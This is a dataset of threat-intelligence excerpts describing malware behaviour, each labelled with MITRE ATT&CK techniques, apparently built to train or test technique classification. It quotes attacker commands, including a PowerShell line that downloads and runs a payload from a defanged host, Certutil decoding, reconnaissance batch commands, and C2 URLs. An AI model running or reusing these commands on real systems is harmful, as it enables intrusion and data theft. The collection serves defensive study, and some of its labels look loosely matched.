QCRI/TechniqueRAG-Datasets huggingface dataset:
Threat description: System info:  Computer name System info using: cmd /c systeminfo >%temp%\temp.ini List of currently running process using: cmd /c tasklist >%temp%\temp.ini    Exfiltration  The data exfiltration process runs in the following sequence: The temp.ini files are copied into a text file that matches the pattern:  From <COMPUTER-NAME> (<Month>-<Day> <Hour>-<Minute>-<Second>).txt
MITRE ATT&CK techniques:
- T1057: Process Discovery
- T1074: Data Staged
- T1082: System Information Discovery
- T1486: Data Encrypted for Impact
Threat description: Team member or team identifier Analysis of the OwaAuth web shell revealed a PDB string with the "SyberSpace" username (see Figure 20)
MITRE ATT&CK techniques:
- T1033: System Owner/User Discovery
- T1505.003: Server Software Component - Web Shell
Threat description: Techniques for Analysis When I was analyzing this sample, the malware was unable to connect to its C2.  However, I was still able to analyze the network traffic of the sample.  How, you might ask?  Using a hex editor and a script I wrote to encrypt text using the algorithm that this sample uses, I encrypted my own C2 address (192.168.1.108:7721) and replaced the hardcoded C2 address with my own encrypted address.  I then opened a listener on my own IP on the respective port.    [Screenshot 3] comparison of My IP (Left) vs C2 IP (Right) Next, using a debugger, I set a couple breakpoints in the Internet Communications function and ran the malware.  The malware sample then connected to my IP and sent information to me, which I was able to observe using Wireshark.  After I’d captured the traffic, I was able to write another script to decrypt and decompress the traffic in order to view the data being sent.  Additionally, I then wrote a socket script that detects the Gh0stRAT variant traffic, automatically decrypts the traffic, and then extracts the Implant_Opcodes for the sample.  A second version of the script allows commands to be sent back to the malware, after I enumerated the exact command format for the sample.   [Screenshot 4] Output of Version 1 of the script So far, the 2 opcodes that the sample has sent are 0x65 and 0x66, or Implant_Heartbeat and Implant_Login, respectively.  “Hitting between the heartbeats” When sending commands, first the sample must login in with 0x65, then you can send commands to it.  However, you have to move fast as the sample will send an Implant_Heartbeat followed by an Implant_Login every 10 seconds or so, and if you try to send a command to the sample as it is responding with either opcode, it will ignore the command.  A proof of concept of the command script can be found here , while the Implant extraction script and the Command Script will be included in the Appendix
MITRE ATT&CK techniques:
- T1573: Encrypted Channel
- T1132: Data Encoding
Threat description: TG-3390 actors favor At.exe to create scheduled tasks for executing commands on remote systems
MITRE ATT&CK techniques:
- T1059: Command and Scripting Interpreter
- T1053.005: Scheduled Task/Job - Scheduled Task
Threat description: TG-3390 actors frequently change the C2 domain's A record to point to the loopback IP address 127.0.0.1, which is a variation of a technique known as "parking." Other variations of parking point the IP address to Google's recursive name server 8.8.8.8, an address belonging to Confluence, or to other non-routable addresses
MITRE ATT&CK techniques:
- T1016: System Network Configuration Discovery
- T1573: Encrypted Channel
Threat description: TG-3390 actors keep track of and leverage existing ASPXTool web shells in their operations, preferring to issue commands via an internally accessible web shell rather than HttpBrowser or PlugX
MITRE ATT&CK techniques:
- T1059: Command and Scripting Interpreter
- T1505.003: Server Software Component - Web Shell
Threat description: The agent control panel has three tabs that have interfaces that allow the actor to issue commands, as well as upload and download files to and from the agent
MITRE ATT&CK techniques:
- T1543.001: Create or Modify System Process - Launch Agent
- T1105: Ingress Tool Transfer
Threat description: The assembly code used to create the shellcode can be obtained from: https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/block/block_api.asm https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/block/block_reverse_http.asm The purpose of the shellcode is to obtain additional shellcode to execute using an HTTP request to the URL “hxxp://45.76.128[.]165:4443/0w0O6”
MITRE ATT&CK techniques:
- T1071: Application Layer Protocol
- T1064: Scripting
Threat description: The C2 communications begins with a beacon to the following URL: hxxp://www.windowspatch[.]com/khc?<hex(STDOUT of whoami command)> If the C2 server wishes to send a command, it will respond to the beacon above by echoing the whoami command results sent by the Trojan to the C2 in the URL
MITRE ATT&CK techniques:
- T1008: Fallback Channels
- T1033: System Owner/User Discovery
- T1043: Commonly Used Port
- T1571: Non-Standard Port
Threat description: The code obtains the external IP address via an HTTP request using to “http://checkip.dyndns.org/” and uses a regular expression to locate an IP address from the HTTP response
MITRE ATT&CK techniques:
- T1016: System Network Configuration Discovery
- T1071: Application Layer Protocol
Threat description: The code then decodes this set of import symbols and resolves addresses for its networking and data stealing functionality: InternetCloseHandle InternetReadFile HttpSendRequestA HttpOpenRequestA HttpQueryInfoA InternetConnectA InternetCrackUrlA InternetOpenA InternetSetOptionW GetAdaptersInfo Much like the prior office monkey “atiumdag.dll” component, this code collects identifying system information using standard win32 API calls: Computer name – GetComputerNameW User name – GetUserNameW Adapter GUID, ip address, mac address – GetAdaptersInfo Windows version – GetVersionExW It then uses the runtime resolved networking API calls to send the collected data back to a hardcoded c2 and set of urls
MITRE ATT&CK techniques:
- T1016: System Network Configuration Discovery
- T1106: Native API
- T1140: Deobfuscate/Decode Files or Information
Threat description: The command handler obtains a command identifier from the C2 server and adds 0xFFFFFF9B to this value and then uses a switch statement to determine the appropriate command to execute
MITRE ATT&CK techniques:
- T1016: System Network Configuration Discovery
- T1059: Command and Scripting Interpreter
Threat description: The configuration data used by the backdoor has the following structure: #pragma pack(push, 1) struct st_cncconfig {   _WORD id;   _BYTE byte2;   _BYTE byte3;   _QWORD pCnCBeg;   _QWORD pCnCEnd;   _QWORD pLastElement; }; #pragma pack(pop) To be able to enter the data into the database, Linux.BackDoor.Fysbis.1 converts the configuration data into the following structure: #pragma pack(push, 1) struct st_crypted_config_data {   _WORD id;   _BYTE byte2;   _BYTE byte3;   char* pCnC;  }; #pragma pack(pop) Before the configuration data is encrypted with the RC4 algorithm, 11 signature bytes are added to the end of the data (11 bytes are stored in the backdoor's body)
MITRE ATT&CK techniques:
- T1486: Data Encrypted for Impact
- T1005: Data from Local System
- T1560: Archive Collected Data
- T1027.002: Obfuscated Files or Information - Software Packing
- T1140: Deobfuscate/Decode Files or Information
- T1041: Exfiltration Over C2 Channel
Threat description: The contents of the batch files vary depending on the OS (x64 vs x86). The batch files perform these tasks:  Stop the service COMSysApp Configure the service to autostart (to set up persistence on the system) Modify registry keys to launch the DLL unser svchost.exe Specify the malicious DLL path to be loaded into the svchost process
MITRE ATT&CK techniques:
- T1112: Modify Registry
- T1055: Process Injection
- T1064: Scripting
- T1569.002: System Services - Service Execution
Threat description: The data dump included the 0000000000.bat file, which when executed on an infected system would run the following commands to gather information to be sent back to the C2 server:  whoami hostname ipconfig /all net user /domain net group /domain net group “domain admins” /domain net group “Exchange Trusted Subsystem” /domain net accounts /domain net user net localgroup administrators netstat -an tasklist systeminfo reg query “HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default” schtasks /query /FO List /TN “GoogleUpdatesTaskMachineUI” /V | findstr /b /n /c:”Repeat: Every:” WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List  This batch script is also interesting as it uses echo commands to include headers before each of the command results
MITRE ATT&CK techniques:
- T1087: Account Discovery
- T1069: Permission Groups Discovery
Threat description: The data field within the message is a string of custom base64 encoded data that the malware decodes using the same custom base64 routine mentioned earlier and decrypts it using AES and the pre-shared key
MITRE ATT&CK techniques:
- T1573: Encrypted Channel
- T1132: Data Encoding
- T1140: Deobfuscate/Decode Files or Information
Threat description: The downloaded .7zip file contains a .lnk file that, once pressed, initializes the malware
MITRE ATT&CK techniques:
- T1547.009: Boot or Logon Autostart Execution - Shortcut Modification
- T1105: Ingress Tool Transfer
Threat description: The dropper installs the backdoor, sets its attributes to “hidden”, and sets a random file date and time When the dropper installs the backdoor, it sets its attributes to “hidden” and sets file date and time to  random values using the touch command: touch –t YYMMDDMM “/path/filename” > /dev/null
MITRE ATT&CK techniques:
- T1564.001: Hide Artifacts - Hidden Files and Directories
- T1070.006: Indicator Removal - Timestomp
- T1124: System Time Discovery
Threat description: The encrypted message is then Base64 encoded, replacing all the ‘/’ and ‘+’ characters with the ‘.’ and ‘-’ characters, respectively
MITRE ATT&CK techniques:
- T1132: Data Encoding
- T1027: Obfuscated Files or Information
Threat description: The executable will drop the packaged QUADAGENT PowerShell script using the filename Office365DCOMCheck.ps1 in addition to a VBScript file with the same filename which will assist in the execution of it
MITRE ATT&CK techniques:
- T1064: Scripting
- T1036: Masquerading
Threat description: The file is saved to: C:\Users\[Username]\AppData\Local\Temp\notepad.exe  00 00 04  Content after command ID is written to: C:\Users\[Username]\AppData\Local\Temp\notepad2.exe  00 00 05  The files notepad1.exe and notepad2.exe are concatenated together and written to C:\Users\[Username]\AppData\Local\Temp\newnotepad.exe and executed  00 00 06  The contents of the following file is sent to the server: C:\Users\[Username]\AppData\Local\Temp\note.txt  00 00 07  The string following the command ID is executed using "cmd /C" and results are sent to server   Links to APT3 On October 28, we observed APT3 sending out spearphishing messages containing a compressed executable attachment
MITRE ATT&CK techniques:
- T1087: Account Discovery
- T1204: User Execution
- T1036: Masquerading
- T1033: System Owner/User Discovery
Threat description: The first email displays the following decoy document to the infected user and download the following payload:hxxp://discgolfglow[.]com:/wp-content/plugins/maintenance/images/worker.jpgThe second email displays the following decoy document to the infected user and downloads the following payload:hxxp://acddesigns[.]com[.]au/clients/ACPRCM/kingstone.jpgIn both cases, the downloaded payload is the ROKRAT malware.The first tasks of this variant of ROKRAT is to check the operating system version
MITRE ATT&CK techniques:
- T1105: Ingress Tool Transfer
- T1497: Virtualization/Sandbox Evasion
Threat description: The first stage shellcode contains an interesting NOP sled with alternative instructions, which was most likely designed in such a way to avoid detection by antivirus products looking for large NOP blocks inside flash files: NOP sled composed of 0x90 and 0x91 opcodes The main purpose of the initial shellcode is to download second stage shellcode from hxxp://89.45.67[.]107/rss/5uzosoff0u.iaf
MITRE ATT&CK techniques:
- T1064: Scripting
- T1105: Ingress Tool Transfer
- T1027: Obfuscated Files or Information
Threat description: The following commands are available:    Command  SubCommand Description   VER  Generates the following IRC client command that will be sent to the C2 server:   PRIVMSG <username> :    8 LED= 20160124   KILL  Trojan disconnects from the IRC server and terminates itself   RESET  Trojan disconnects from the IRC server and runs the executable again   OS  Obtains the Windows version and responds to the C2 with the following message “PRIVMSG <username> :<one of the following version strings>”:   Windows NT Windows 95 Windows 98 Windows ME Windows 2003 Windows XP Windows 7 Windows Vista Unkown os info   !SH EXEC Not supported    MD Creates a specified directory
MITRE ATT&CK techniques:
- T1106: Native API
- T1010: Application Window Discovery
Threat description: The following commands are supported by the malware:  Command ID  Description  00 00 00  Content after command ID is written to: C:\Users\[Username]\AppData\Local\Temp\notepad1.exe  00 00 01  Deletes the files: C:\Users\[Username]\AppData\Local\Temp\notepad.exe C:\Users\[Username]\AppData\Local\Temp\newnotepad.exe  00 00 02  Malware exits  00 00 03  Malware downloads the URL that follows the command ID
MITRE ATT&CK techniques:
- T1204: User Execution
- T1033: System Owner/User Discovery
Threat description: The following functions are called when the application attempts to initialize the menu:ETransaksi.Speed(); // Legitimate class, but method is the first  wrapped function that leads to malicious code ProjectData.EndApp(); // Closes the application before rest of  legitimate Sales System Application functions are calledThe “Speed” method in the legitimate ETransaksi class contains legitimate code from the Sales System Application; however, the author of this tool includes this code in an if/else construct that bypasses these instructions by setting a false flag to skip the legitimate code and execute the next step to the malicious code
MITRE ATT&CK techniques:
- T1189: Drive-by Compromise
- T1027.001: Obfuscated Files or Information - Binary Padding
- T1036: Masquerading
- T1140: Deobfuscate/Decode Files or Information
Threat description: The following graph view from IDA shows these steps.These execution steps allow the launch of the new ROKRAT variant by decoding the PE binary and injecting into the cmd.exe process
MITRE ATT&CK techniques:
- T1059: Command and Scripting Interpreter
- T1055: Process Injection
Threat description: The following HTTP request from the Helminth backdoor (SHA256: 1fb69090be8a2e11eeb220b26ee5eddf1e3fe81ffa59c47d47d01bf90c2b080c) downloaded the similar batch script: GET /update-index.aspx?req=1786873725%5Cbat&m=d HTTP/1.1 Host: update-kernal[.]net Connection: Keep-Alive We performed a code comparison to visualize the similarities between the batch script delivered as the default command in Poison Frog is to the script provided to the Helminth backdoor
MITRE ATT&CK techniques:
- T1071: Application Layer Protocol
- T1064: Scripting
Threat description: The following screenshot shows the command execution functionality in action:            Figure 4: Command Execution     The paramString parameter shown in the above screenshot can be any command received from C&C
MITRE ATT&CK techniques:
- T1059: Command and Scripting Interpreter
- T1113: Screen Capture
Threat description: The frequent checking ensures that any changes made will be quickly followed, and the repeated attempts to run the Revenge RAT binary make it almost certain that even if the process is terminated, the RAT will be running again soon
MITRE ATT&CK techniques:
- T1057: Process Discovery
- T1043: Commonly Used Port
Threat description: The function builds the contents of a second file by concatenating several strings together, but this second file is a .sct file that the function will write to a file %TEMP%\12-B-366.txt
MITRE ATT&CK techniques:
- T1070.006: Indicator Removal - Timestomp
- T1140: Deobfuscate/Decode Files or Information
Threat description: The function will take another executable embedded in the initial Trojan as a resource named “M”, which it attempts to inject into the following process to execute: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe While it’s configured to inject into cvtres.exe, the Trojan is also capable of injecting its code into the following process as well: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe   Embedded injector Trojan The R payload discussed above is nothing more than an injector Trojan, which accepts a path to an executable and a buffer of code to inject into the process as arguments
MITRE ATT&CK techniques:
- T1055.012: Process Injection - Process Hollowing
- T1055: Process Injection
Threat description: The infection process is rather interesting, as it involves multiple layers of .NET assemblies that will eventually download the NanoCore remote administration tool (RAT) from a remote server and inject it into another process
MITRE ATT&CK techniques:
- T1055: Process Injection
- T1105: Ingress Tool Transfer
Threat description: The information gathered is added to a string in the following structure: <IP address>|<computer name>|<domain>|<username>|<isAdmin flag>|<hasGarbage flag from config>|<hasStartup flag from config>|<“hybrid” mode flag from config>|<sleep interval from config>|<jitter value from config> The payload will base64 encode this string and use its DNS tunneling protocol to transmit the data to the C2
MITRE ATT&CK techniques:
- T1016: System Network Configuration Discovery
- T1033: System Owner/User Discovery
Threat description: The last query is to the subdomain ihc[.]stage[.]12019683[.]ns2[.]true-deals[.]com):   The delivered second stage shellcode is encrypted:  METERPRETER: After decryption of the second stage shellcode, the shellcode deletes the ‘MZ’ prefix from within a very important part of the shellcode
MITRE ATT&CK techniques:
- T1064: Scripting
- T1027: Obfuscated Files or Information
Threat description: The latter PowerShell injects a shellcode into its own process using well-known CreateThread and VirtualAlloc techniques:   SHELLCODE: The shellcode phase of this attack is unique and demonstrates the constantly advancing abilities of attackers
MITRE ATT&CK techniques:
- T1059.001: Command and Scripting Interpreter - PowerShell
- T1064: Scripting
Threat description: The loader’s main goal was to run a PowerShell command to execute shellcode
MITRE ATT&CK techniques:
- T1059.001: Command and Scripting Interpreter - PowerShell
- T1059: Command and Scripting Interpreter
Threat description: The lures are primarily documents of interest to Pakistani nuclear organizations and the Pakistani military as can be seen in the images below:  Figure 1 Lure extracted from a67220bcf289af6a99a9760c05d197d09502c2119f62762f78523aa7cbc96ef1  Figure 2 Lure extracted from 07d5509988b1aa6f8d5203bc4b75e6d7be6acf5055831cc961a51d3e921f96bd  Figure 3 Lure extracted from b8abf94017b159f8c1f0746dca24b4eeaf7e27d2ffa83ca053a87deb7560a571  Figure 4 Lure extracted from d486ed118a425d902044fb7a84267e92b49169c24051ee9de41327ee5e6ac7c2 and fd8394b2ff9cd00380dc2b5a870e15183f1dc3bd82ca6ee58f055b44074c7fd4   The payload from each of the malicious documents is an updated version of the BADNEWS malware family
MITRE ATT&CK techniques:
- T1560: Archive Collected Data
- T1204: User Execution
Threat description: The macro downloads a payload from hxxp://lokipanelhostingpanel[.]gq/work/kh/1.exe (SHA256: 84ed59953f57f5927b9843f35ca3c325155d5210824d3b79b060755827b51f72) by running the following command line process:cmd.exe /c powershell -W Hidden (New-Object System.NeT.WeBClieNT).DownloadFile('http://lokipanelhostingpanel[.]gq/work/kh/1.exe','%Public%\\\\svchost32.exe');Start-Process '%Public%\\\\svchost32.exeThe macro then attempts to kill Microsoft Office and Windows Defender processes using the ‘taskkill’ command
MITRE ATT&CK techniques:
- T1055.012: Process Injection - Process Hollowing
- T1057: Process Discovery
Threat description: The macro saves the chkSrv.vbs script to the system, which is responsible for running the IntelSecurityAssistManager.exe payload (OopsIE Trojan) and cleaning up the installation by deleting the two scheduled tasks, the Base.txt file, the ThreeDollars document, and the chkSrv.vbs script
MITRE ATT&CK techniques:
- T1053.005: Scheduled Task/Job - Scheduled Task
- T1070.004: Indicator Removal - File Deletion
Threat description: The main function of the dropper All strings within the dropper, as well as the backdoor, are encrypted using a hardcoded RSA256 key
MITRE ATT&CK techniques:
- T1027: Obfuscated Files or Information
- T1140: Deobfuscate/Decode Files or Information
Threat description: The malicious DLL is also responsible for terminating the cliconfg.exe process and deleting the malicious NTWDBLIB.dll using: cmd /c taskkill /im cliconfg.exe /f /t && del /f /q NTWDBLIB.DLL All the following capabilities described are implemented by the malicious service DLL implant unless specified.   Variant using North Korean Red Cross Another variant (hash: 9e2c0bd19a77d712055ccc0276fdc062e9351436) of the malicious Word dropper uses the same Base64-decoding scheme with a different custom key
MITRE ATT&CK techniques:
- T1055: Process Injection
- T1574.002: Hijack Execution Flow - DLL Side-Loading
Threat description: The malware beacons to this directory using the hardcoded API token and attempts to download these files (which are deleted from the Dropbox account after the download):  upload.bat, a batch script that the compromised machine will execute upload.rar, a RAR archive that contains at least two files: a batch script to execute, and often an executable (sometimes named rar.exe)  which the batch script will run and almost always uploads the results of download.rar to the cloud storage account silent.txt and period.txt,  small files sizes of 0-4 bytes that dictate the frequency to check in with the CnC  The threat actor will then download the results and then delete the files from the cloud storage account
MITRE ATT&CK techniques:
- T1064: Scripting
- T1105: Ingress Tool Transfer
Threat description: The malware demonstrates its evasive behavior by checking for the presence of specific processes related to antimalware products:  The presence of any process with the keywords “v3” and “cleaner.”   Checking for antimalware or cleaner processes
MITRE ATT&CK techniques:
- T1562.001: Impair Defenses - Disable or Modify Tools
- T1057: Process Discovery
Threat description: The malware uses obfuscation in order to hide strings such as URL or User-Agent, the algorithm is based on bitwise (SUB 0x0F XOR 0x21), here is the decoded data:hxxp://old[.]jrchina[.]com/btob_asiana/udel_confirm.phpMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; Tablet PC 2.0; .NET4.0E; InfoPath.3)The downloaded third payload is obfuscated using the same technique
MITRE ATT&CK techniques:
- T1087: Account Discovery
- T1027: Obfuscated Files or Information
Threat description: The OopsIE Trojan is configured to use a C2 server hosted at:www.msoffice365cdn[.]com The Trojan will construct specific URLs to communicate with the C2 server and parses the C2 server’s response looking for content within the tags <pre> and </pre>
MITRE ATT&CK techniques:
- T1573: Encrypted Channel
- T1102: Web Service
- T1008: Fallback Channels
- T1071: Application Layer Protocol
- T1041: Exfiltration Over C2 Channel
Threat description: The paths discovered are:  • C:\Users\leo\AppData\Local\Temp\Word8.0\MSForms.exd • C:\Users\poopak\AppData\Local\Temp\Word8.0\MSForms.exd • C:\Users\Vendetta\AppData\Local\Temp\Word8.0\MSForms.exd • C:\Users\Turk\AppData\Local\Temp\Word8.0\MSForms.exd   Leo, Poopak, Vendetta and Turk are the usernames of those creating the documents or the templates on which they are based
MITRE ATT&CK techniques:
- T1087: Account Discovery
- T1005: Data from Local System
- T1204: User Execution
- T1033: System Owner/User Discovery
Threat description: The payload has a function it calls early on that tests to see which DNS query types are able to successfully reach the C2 server.  It iterates through a list of types and the first DNS type to receive a response from the C2 server will be used for all communications between the payload and the C2 server, which are in the following order (editor’s note: AC is not a  DNS record type but is a mode where the trojan will perform a request for an A record requiring ac as a subdomain):  A AAAA AC – (see note above) CNAME MX TXT SRV SOA  The payload uses the built-in Windows nslookup application with specific parameters and specially crafted subdomains to communicate with the C2
MITRE ATT&CK techniques:
- T1071: Application Layer Protocol
- T1008: Fallback Channels
- T1123: Audio Capture
- T1041: Exfiltration Over C2 Channel
Threat description: The Payloads The delivery documents in this attack campaign loaded remote templates whose macros installed a variety of first-stage payloads
MITRE ATT&CK techniques:
- T1064: Scripting
- T1027: Obfuscated Files or Information
Threat description: The payload then sets EIP to the entry point of the newly injected code using the SetThreadContext API, and finally calls the NtAlertResumeThread API function to run the injected code
MITRE ATT&CK techniques:
- T1106: Native API
- T1140: Deobfuscate/Decode Files or Information
Threat description: The payload will communicate with its C2 server to obtain the session ID and pre-shared key and write it to this registry key in the following format:   <session id>_<pre-shared key>   To obtain the session ID and pre-shared key, the payload will first try to contact the C2 via an HTTPS GET request to the following URL:   hxxps://www.rdppath[.]com/   If the above request using HTTPS does not result in an HTTP 200 OK message or the response data has no alphanumeric characters, the code will attempt to communicate with the C2 server using HTTP via the following URL:   hxxp://www.rdppath[.]com/   The code to communicate with the C2 via HTTP exists within an exception handler
MITRE ATT&CK techniques:
- T1071: Application Layer Protocol
- T1008: Fallback Channels
Threat description: The payload will use a specific regular expressions dependent on the type of DNS query was used to obtain the command string, which can be seen in Table 2:    DNS TYPE Regex Pattern   A Address:\s+(\d+.\d+.\d+.\d+)   AC \d+-\d+-(\d+)-([\w\d+/=]+)-\d-.ac.$Global:domain   AAAA Address:\s+(([a-fA-F0-9]{0,4}:{1,4}[\w|:]+){1,8})   CNAME,MX,TXT,SRV,SOA (\d+)-([\w\d/=+]{0,})\-.$Global:domain    Table 2 Types of responses provided by C2 These regular expressions are used to build strings that the payload will then subject to its command handler
MITRE ATT&CK techniques:
- T1016: System Network Configuration Discovery
- T1071: Application Layer Protocol
Threat description: The plugin uses the same network protocol as PLAINTEE and so we were able to trivially decode further commands that were sent.  The following commands were observed:  tasklist ipconfig /all  The attacker performed these two commands 33 seconds apart
MITRE ATT&CK techniques:
- T1059: Command and Scripting Interpreter
- T1573: Encrypted Channel
Threat description: The prior example decrypts to the following: mailto:121.126.211[.]94:8080;80;80   The following Python script may be used to decode the C2 data used by the newest Comnie variant:      12345678910111213141516171819202122232425262728293031323334353637383940  import base64import sysimport refrom string import maketransfrom struct import *import requestsdef rc4_crypt(data, key):  S = range(256)  j = 0  out = []  for i in range(256):    j = (j + S[i] + ord( key[i % len(key)] )) % 256    S[i] , S[j] = S[j] , S[i]  i = j = 0  for char in data:    i = ( i + 1 ) % 256    j = ( j + S[i] ) % 256    S[i] , S[j] = S[j] , S[i]    out.append(chr(ord(char) ^ S[(S[j] + S[i]) % 256]))  return ''.join(out)def decode(data):  o = ""  for d in data:    od = ord(d)    o += chr((4 * (16 * od | od & 0xC) | (((od >> 4 | od & 0x30) >> 2))) & 0xFF)  return obase64fixTable = maketrans("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"[::-1], "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/");def trans(string):  return str(string).translate(base64fixTable)def altdecode(string):  return base64.b64decode(trans(string))req = requests.get(sys.argv[1])fd = req.textoriginal_data = re.search("magnet:/\?([^\?]+)\?", fd).group(1)parsed_data = altdecode(original_data)dataLength = unpack("<I", parsed_data[64:68])[0]key = decode(parsed_data[0:64])data = parsed_data[dataLength*-1:]d = rc4_crypt(data, key)print(d)       Comnie will make attempts at connecting to the IP address above using the various ports specified
MITRE ATT&CK techniques:
- T1048: Exfiltration Over Alternative Protocol
- T1573: Encrypted Channel
- T1486: Data Encrypted for Impact
Threat description: The resulting Interop.SHDocVw .NET assembly is packed with SmartAssembly and further obfuscated using Confuser v1.9.0.0
MITRE ATT&CK techniques:
- T1027: Obfuscated Files or Information
- T1027.002: Obfuscated Files or Information - Software Packing
Threat description: The results of the decoded data may be seen below:    Figure 13 Decrypted information The decrypted data contains URLs for various online services that will be used by the attacker for downloading data that will contain the command and control (C2) server(s) and port(s) to be used by Comnie
MITRE ATT&CK techniques:
- T1048: Exfiltration Over Alternative Protocol
- T1140: Deobfuscate/Decode Files or Information
- T1041: Exfiltration Over C2 Channel
Threat description: The sample creates an array that contains the following strings for the Trojan to use as C2 locations: http://23.227.196[.]215/ http://apple-iclods[.]org/ http://apple-checker[.]org/ http://apple-uptoday[.]org/ http://apple-search[.]info Notice the last one is missing the trailing “/”, which causes an issue when the Trojan attempts to use this string to build the remainder of the C2 URL, as the Trojan will append the next string in the URL directly to this string
MITRE ATT&CK techniques:
- T1071: Application Layer Protocol
- T1008: Fallback Channels
Threat description: The screenshots included remote desktop (RDP) sessions showing the Glimpse panel, a web browser session displaying a C2 panel called Scarecrow, web browser sessions into VPS administrative panels, and evidence of potential destructive attacks against OilRig servers
MITRE ATT&CK techniques:
- T1021.001: Remote Services - Remote Desktop Protocol
- T1505.003: Server Software Component - Web Shell
- T1113: Screen Capture
Threat description: The script will first attempt to communicate with the C2 server using HTTPS (HTTP if unsuccessful), which involves GET requests using the session ID within the request’s cookie in the PHPSESSID field, as seen in the example GET request:       GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246Host: www.rdppath[.]comCookie: PHPSESSID=<c2 provided session id>Connection: Keep-Alive     If the payload is unable to reach the C2 via HTTPS/HTTP, the payload yet again falls back to DNS tunneling
MITRE ATT&CK techniques:
- T1071: Application Layer Protocol
- T1008: Fallback Channels
- T1041: Exfiltration Over C2 Channel
Threat description: The second named scheduled task, loaded as an XML file to falsify task attributes, ran a JavaScript code block that downloaded and launched a secondary backdoor, delivered as a multi-stage PowerShell script
MITRE ATT&CK techniques:
- T1064: Scripting
- T1036: Masquerading
Threat description: The SecurityAssist task is responsible for running the following command line command that uses the Certutil application to decode the base64 encoded data in Base.txt and saves the decoded data to the file %PROGRAMDATA%\IntelSecurityAssistManager.exe:cmd.exe /c Certutil -decode %appdata%\Base.txt %programdata%\IntelSecurityAssistManager.exe & SchTasks /Delete /F /TN SecurityAssist The macro also creates a second scheduled task named Conhost that waits two minutes and runs a VBScript %APPDATA%\chkSrv.vbs
MITRE ATT&CK techniques:
- T1036: Masquerading
- T1140: Deobfuscate/Decode Files or Information
Threat description: These dropped files bundle functionality for both 64bit and 32bit Windows systems and are all located within one directory: C:\Documents and Settings\user\Application Data\ATI_Subsystem\ 6761106f816313394a653db5172dc487,amdhcp32.dll,54kb  ← 32bit dll,CompiledOn:2014.07.02 21:13:24 d596827d48a3ff836545b3a999f2c3e3,aticaldd.dll,60kb  ← 64bit dll,CompiledOn:2014.07.02 21:13:26 bc626c8f11ed753f33ad1c0fe848d898,atiumdag.dll,285kb ← 32bit dll, Trojan.Win32.CozyDuke.a, CompiledOn:2014.07.02 21:13:26 4152e79e3dbde55dcf3fc2014700a022,6kb,racss.dat The code copies rundll32.exe from windows\system32 to its newly created %appdata%\ATI_Subsystem subdirectory as “amdocl_as32.exe” alongside the three dll’s listed above
MITRE ATT&CK techniques:
- T1055: Process Injection
- T1218.011: System Binary Proxy Execution - Rundll32
- T1574.002: Hijack Execution Flow - DLL Side-Loading
- T1574.001: Hijack Execution Flow - DLL Search Order Hijacking
Threat description: The series of commands, as seen in Table 2, include checks for virtualized environments, low memory, and processor counts, in addition to checks for common analysis tools running on the system
MITRE ATT&CK techniques:
- T1518.001: Software Discovery - Security Software Discovery
- T1497: Virtualization/Sandbox Evasion
Threat description: The server-side component provides a simple graphical user interface for threat actors interacting with web shells
MITRE ATT&CK techniques:
- T1059: Command and Scripting Interpreter
- T1505.003: Server Software Component - Web Shell
Threat description: These vulnerabilities include:CVE-2015-6585: Hangul Word Processor VulnerabilityCVE-2015-8651: Adobe Flash Player 18.0.0.324 and 19.x VulnerabilityCVE-2016-0034: Microsoft Silverlight 5.1.41212.0 VulnerabilityCVE-2016-1019: Adobe Flash Player 21.0.0.197 VulnerabilityCVE-2016-4117: Adobe Flash Player 21.0.0.226 VulnerabilityDHS recommends that organizations upgrade these applications to the latest version and patch level
MITRE ATT&CK techniques:
- T1203: Exploitation for Client Execution
- T1068: Exploitation for Privilege Escalation
Threat description: The SHA256 hash is then base64 encoded, which results in an encoded string of EfZrVfPSQwNiHl75VlsCpXbMWLxfh4nK6Ww9QABkuQ4=, of which the first 24 characters are used as the 3DES key
MITRE ATT&CK techniques:
- T1132: Data Encoding
- T1027: Obfuscated Files or Information
Threat description: The shellcode executed by this PowerShell is the exact same as in the delivery documents, using code from Metasploit which can obtain additional shellcode to execute using an HTTP request to the following URL: http://www7.chrome-up[.]date/0m5EE We were not able to retrieve the shellcode hosted at this URL
MITRE ATT&CK techniques:
- T1059.001: Command and Scripting Interpreter - PowerShell
- T1071: Application Layer Protocol
- T1064: Scripting
Threat description: The source code only considers the following machine types:default:   lpString = "(Other)";               break;case 0x02: lpString = "(Unknown)";             break;case 0x03: lpString = "(Desktop)";             break;case 0x04: lpString = "(Low Profile Desktop)"; break;case 0x06: lpString = "(Mini Tower)";          break;case 0x07: lpString = "(Tower)";               break;case 0x08: lpString = "(Portable)";            break;case 0x09: lpString = "(Laptop)";              break;case 0x0A: lpString = "(Notebook)";            break;case 0x0E: lpString = "(Sub Notebook)";        break;The string format - with the () - and the considering types are exactly the same as those used in the ROKRAT samples.It's interesting to note that this reconnaissance phase was not included in the ROKRAT variant used during the "Golden Time" campaign.Brower StealerFor the first time, the ROKRAT sample used during the "North Korean Human Rights" contained a browser credentials stealer
MITRE ATT&CK techniques:
- T1008: Fallback Channels
- T1124: System Time Discovery
Threat description: The started command will send the following information to the C&C:  device_model: the model identifier (e.g.: MacBookPro9,2) bot_version: version of Keydnap build_name: the “build name” that was given by downloader os_version: OS X or macOS kernel version ip_address: external IP address as reported by ipify.org has_root: 1 if executed as root, 0 otherwise  Backdoor commands The response to get_task contains an integer to identify the type of command and optional arguments
MITRE ATT&CK techniques:
- T1016: System Network Configuration Discovery
- T1082: System Information Discovery
Threat description: The string “fjzmpcjvqp” is unique and not something likely to be present if the code was not generated with the same public POC exploit code
MITRE ATT&CK techniques:
